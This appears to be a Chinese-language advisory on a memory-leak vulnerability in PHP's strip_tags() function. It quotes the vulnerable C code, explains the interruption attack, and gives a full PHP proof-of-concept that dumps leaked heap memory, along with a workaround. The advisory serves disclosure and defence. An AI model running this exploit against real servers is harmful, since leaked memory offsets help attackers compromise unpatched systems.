受影响系统:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13
描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。
PHP的strip_tags()函数中存在信息泄露漏洞:
PHP_FUNCTION(strip_tags)
{
char *buf;
char *str;
zval **allow=NULL;
char *allowed_tags=NULL;
int allowed_tags_len=0;
int str_len;
size_t retval_len;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|Z", &str, &str_len, &allow) == FAILURE) {
return;
}
/* To maintain a certain BC, we allow anything for the second parameter and return original string */
if (allow != NULL) {
convert_to_string_ex(allow);
allowed_tags = Z_STRVAL_PP(allow);
allowed_tags_len = Z_STRLEN_PP(allow);
}
buf = estrndup(str, str_len);
retval_len = php_strip_tags_ex(buf, str_len, NULL, allowed_tags, allowed_tags_len, 0);
RETURN_STRINGL(buf, retval_len, 0);
}
zend_parse_parameters()函数将字符串参数检索到了本地变量,放松了这些变量与原始ZVAL之间的联系。问题是在原始ZVAL被中断修改的情况下,字符串指针会指向已释放的或重用的内存。这种情况下的中断攻击也比较容易,因为第二个参数调用了convert_to_string_ex()。攻击者只需以strip_tags()第二个参数的形式传送对象,由于call time pass by reference功能,之后攻击者可以从__toString()方式杀死第一个参数,并重用于哈希表。这会导致php_strip_tags_ex()作用于哈希表的内存而不是字符串的内存,允许攻击者泄露重要的内部内存偏移。由于strip_tags()函数的性质,所泄露内存中的所有空字节都会被删除。
<*来源:Stefan Esser (s.esser@ematters.de)
链接:http://php-security.org/2010/05/26/mops-2010-041-php-strip_tags-interruption-information-leak-vulnerability/index.html
*>
测试方法:
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
/* ATTENTION STRIP_TAGS REMOVES \0 BYTES */
include "hexdump.php";
class dummy
{
function __toString()
{
/* now the magic */
parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS[‘var’]);
return "XXXXXXXXXXXXXXX";
}
}
/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
$GLOBALS[‘var’] = str_repeat("A", 39);
} else {
$GLOBALS[‘var’] = str_repeat("A", 67);
}
/* Trigger the Code */
$x = strip_tags(&$GLOBALS[‘var’], new dummy());
hexdump($x);
/* Helper function */
function hexdump($x)
{
$l = strlen($x);
$p = 0;
echo "Hexdump\n";
echo "——-\n";
while ($l > 16) {
echo sprintf("%08x: ",$p);
for ($i=0; $i<16; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
echo " ";
for ($i=0; $i<16; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
}
$l-=16;
$p+=16;
echo "\n";
}
if ($l > 0)
echo sprintf("%08x: ",$p);
for ($i=0; $i<$l; $i++) {
echo sprintf("%02X ", ord($x[$p+$i]));
}
for ($i=0; $i<16-$l; $i++) { echo "– "; }
echo " ";
for ($i=0; $i<$l; $i++) {
$c = ord($x[$p+$i]);
echo ($c < 32 || $c > 127) ? ‘.’ : chr($c);
}
echo "\n";
}
?>
建议:
临时解决方法:
* 禁用call time pass by reference功能。
厂商补丁:
PHP
—
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
0 条评论。